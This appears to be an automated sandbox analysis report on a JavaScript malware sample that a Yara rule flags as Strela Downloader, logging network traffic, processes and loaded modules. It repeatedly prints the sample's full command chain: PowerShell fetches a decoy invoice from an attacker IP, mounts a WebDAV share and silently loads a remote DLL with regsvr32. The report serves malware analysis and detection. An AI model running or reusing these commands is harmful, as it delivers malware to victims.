HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1416425403.000001D4F3845000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1417996753.000001D4F380B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1477771186.000001620D44C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478868447.000001620D408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1479155072.000001620D461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1478947124.000001620D44C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1477771186.000001620D44C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h
Source: net.exe, 00000007.00000002.1478868447.000001620D408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2711541768.00000163A4C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1479526011.00000163A4A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7640, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 382215884163542302.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ll0pzvsd.gpd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,18371386719857637492,4132492264295828402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,18371386719857637492,4132492264295828402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
